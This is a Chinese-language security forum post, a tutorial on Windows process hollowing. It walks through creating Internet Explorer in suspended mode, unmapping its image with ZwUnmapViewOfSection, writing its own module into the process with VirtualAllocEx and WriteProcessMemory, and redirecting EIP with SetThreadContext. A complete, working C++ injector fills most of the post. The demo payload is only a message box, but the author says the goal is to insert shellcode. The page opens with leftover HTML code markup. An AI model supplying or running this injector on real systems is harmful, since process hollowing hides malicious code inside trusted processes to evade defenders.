style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">::</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">WaitForSingleObject</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">((</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">HANDLE</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">)</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">dwProcessHandle</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> INFINITE</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                        </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    printf</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"ID进程已经关闭.....\n"</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(167, 29, 93);">char</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">[</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">256</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">]</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">=</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">{</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">0</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">};</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">GetCurrentDirectory</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">256</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">                </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    printf</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">(</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(24, 54, 145);">"%s\n"</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">,</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">szBuffer</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">);</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">            </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    getchar</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">();</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">    </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(167, 29, 93);">return</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span><span style="-webkit-tap-highlight-color: transparent;color: rgb(0, 134, 179);">0</span><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">;</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);">}</span></span></code><code style="-webkit-tap-highlight-color: transparent;font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace;display: flex;padding-right: 8px;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="-webkit-tap-highlight-color: transparent;"><span style="-webkit-tap-highlight-color: transparent;color: rgb(51, 51, 51);"> </span></span></code></pre></section>
复制代码

这里看下实验效果,可以看到挂起主线程时候,ie浏览器是点不动的,恢复主线程之后又可以正常运行,那么我们尝试使用挂起模式启动一个进程

以挂起模式启动进程,只需要改一个地方,就是CreateProcess的第六个成员,设置为CREATE_SUSPENDED(非活动状态)即可,挂起之后使用ResumeThread恢复执行
  1. // win32 create process3.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include <windows.h>

  5. int main(int argc, char* argv[])
  6. {
  7.     STARTUPINFO ie_si = {0};                  
  8.     PROCESS_INFORMATION ie_pi;               
  9.     ie_si.cb = sizeof(ie_si);               
  10.                     
  11.     TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";               
  12.     CreateProcess(               
  13.         NULL,                              
  14.         szBuffer,                           
  15.         NULL,            
  16.         NULL,              
  17.         FALSE,                              
  18.         CREATE_SUSPENDED,                 
  19.         NULL,                                
  20.         NULL,                                
  21.         &ie_si,                              
  22.         &ie_pi                              
  23.         );            
  24.                     
  25.     //恢复执行               
  26.     ResumeThread(ie_pi.hThread);               
  27.    
  28.     return 0;
  29. }
复制代码

实现效果如下,这里使用挂起模式创建notepad,可以看到任务管理器里面已经有了这个进程,但是还没有显示出来,使用ResumeThread恢复执行之后就是一个正常的进程
实现过程知道了以挂起模式启动进程,我们整理下思路。首先我们以挂起形式创建进程,创建进程过后我们的目的是写入shellcode,那么就要自己申请一块可读可写的区域内存放我们的shellcode,然后再恢复主线程,将函数入口指向我们的shellcode即可,当然这只是一个demo,具体细节还需要具体优化。
这里我使用了一个内核apiZwUnmapViewOfSection,用来清空之前内存里面的数据
那么首先我们把创建进程这部分写一个单独的函数
使用CREATE_SUSPENDED挂起创建进程的方式
CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
再写一个if语句判断进程创建是否成功,这里我创建的进程还是IE,完整代码如下
  1. BOOL CreateIEProcess()   
  2. {
  3.     wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
  4.     STARTUPINFO si = { 0 };   
  5.     si.cb = sizeof(si);
  6.     BOOL bRet;

  7. x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

  8.     if (bRet)
  9.     {
  10.         printf("Create IE successfully!\n\n");
  11.     }
  12.     else
  13.     {
  14.         printf("Create IE failed\n\n");
  15.     }
  16.     return bRet;
  17. }
复制代码

然后使用内核apiZwUnmapViewOfSection卸载创建这个基质内存空间的数据,这里先看下ZwUnmapViewOfSection的结构
  1. NTSTATUS   ZwUnmapViewOfSection(
  2.     IN HANDLE  ProcessHandle,
  3.     IN PVOID  BaseAddress    );
复制代码

这个函数在wdm.h里面声明,那我们使用ntdll.dll将这个api加载进来ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
然后使用GetModuleHandleA获取模块基址
HMODULE hModuleBase = GetModuleHandleA(NULL);
使用GetCurModuleSize获取映像大小
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,线程也就是eip, 这样可以使CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,所以我们要先获取线程上下文的状态,使用到GetThreadContext
  1. Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
  2. GetThreadContext(pi.hThread, &Thread);
复制代码

下一步我们需要知道程序的基址,这里我用到PEB结构和ReadProcessMemory来获取,首先看下PEB的结构
  1. root> dt_peb
  2. nt!_PEB
  3. +0x000 InheritedAddressSpace : UChar
  4. +0x001 ReadImageFileExecOptions : UChar
  5. +0x002 BeingDebugged     : UChar
  6. +0x003 BitField          : UChar
  7. +0x003 ImageUsesLargePages : Pos 0, 1 Bit
  8. +0x003 SpareBits         : Pos 1, 7 Bits
  9. +0x004 Mutant            : Ptr32 Void
  10. +0x008 ImageBaseAddress : Ptr32 Void
复制代码

ImageBaseAddress在+0x008这个位置,所以这个地方ReadProcessMemory的参数就是PEB+8
  1. DWORD GetRemoteProcessImageBase(DWORD dwPEB)
  2. {
  3.     DWORD dwBaseAddr;
  4.     ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
  5.     return dwBaseAddr;
  6. }
复制代码

使用ZwUnmapViewOfSection来卸载空间数据ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
卸载完空间数据之后,用VirtualAllocEx重新为我们创建的进程申请一块空间
VirtualAllocEx(pi.hProcess,    hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
然后使用WriteProcessMemory写入
WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
在写入完成之后使用GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文
ThreadCxt.ContextFlags = CONTEXT_FULL;
然后修改eip指向我们自己的函数地址,这里写一个MessageBox
  1. DWORD GetNewOEP()
  2. {
  3.     return (DWORD)MessageBox;   
  4. }

  5. void MessageBox()
  6. {
  7.     MessageBoxA(0, "Inject successfully", "", 0);   
  8. }

  9. Threadna.Eip = GetNewOEP();
复制代码

完整代码如下
  1. #include <windows.h>
  2. #include <tchar.h>
  3. #include <iostream>
  4. using namespace std;


  5. typedef long NTSTATUS;

  6. typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
  7.     IN HANDLE ProcessHandle,
  8.     IN LPVOID BaseAddress
  9.     );
  10. pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

  11. PROCESS_INFORMATION pi = { 0 };
  12.    

  13. BOOL CreateEXE()
  14. {
  15.     wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
  16.     STARTUPINFO si = { 0 };
  17.     si.cb = sizeof(si);
  18.     BOOL bRet;

  19.     bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

  20.     if (bRet)
  21.     {
  22.         printf("[*] Create process successfully!\n\n");
  23.     }
  24.     else
  25.     {
  26.         printf("[!] Create process failed\n\n");
  27.     }

  28.     return bRet;
  29. }


  30. DWORD GetCurModuleSize(DWORD dwModuleBase)
  31. {
  32.     PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
  33.     PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
  34.     return pNtHdr->OptionalHeader.SizeOfImage;
  35. }


  36. DWORD GetRemoteProcessImageBase(DWORD dwPEB)
  37. {
  38.     DWORD dwBaseRet;
  39.     ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
  40.     return dwBaseRet;
  41. }

  42. void Mess()
  43. {
  44.     MessageBoxA(0, "Inject successfully", "", 0);
  45. }

  46. DWORD GetNewOEP()
  47. {
  48.     return (DWORD)Mess;
  49. }


  50. int _tmain(int argc, _TCHAR* argv[])
  51. {

  52.     ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
  53.     printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);
  54.    
  55.     if (!ZwUnmapViewOfSection)   
  56.     {
  57.         printf("[!] ZwUnmapViewOfSection failed\n\n");
  58.         exit(1);
  59.     }

  60.     if (!CreateEXE())   
  61.     {
  62.         printf("[!] Create Process failed\n\n");
  63.         exit(1);
  64.     }

  65.     printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
  66.     HMODULE hModuleBase = GetModuleHandleA(NULL);

  67.     DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

  68.     CONTEXT Thread;

  69.     Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;

  70.     GetThreadContext(pi.hThread, &Thread);


  71.     DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);

  72.     ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

  73.     LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  74.     if (lpAllocAddr)
  75.     {
  76.         printf("[*] VirtualAllocEx successfully!\n\n");
  77.         
  78.     }
  79.     else
  80.     {
  81.         printf("[!] VirtualAllocEx failed\n\n");
  82.         return FALSE;
  83.     }

  84.     if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))
  85.     {
  86.         printf("[!] WriteProcessMemory failed\n\n");
  87.         return FALSE;
  88.     }
  89.     else
  90.     {
  91.         printf("[*] WriteProcessMemory successfully!\n\n");
  92.     }

  93.     Thread.ContextFlags = CONTEXT_FULL;
  94.     Thread.Eip = GetNewOEP();

  95.     SetThreadContext(pi.hThread, &Thread);

  96.     if (-1 == ResumeThread(pi.hThread))
  97.     {
  98.         printf("[!] ResumeThread failed\n\n");
  99.         return FALSE;
  100.     }
  101.     else
  102.     {
  103.         printf("[*] ResumeThread successfully!\n\n");
  104.     }

  105. }
复制代码

实现效果到这我们的函数就已经成功了,运行一下弹出了messagebox,证明修改eip成功



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 03:16 , Processed in 0.017067 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表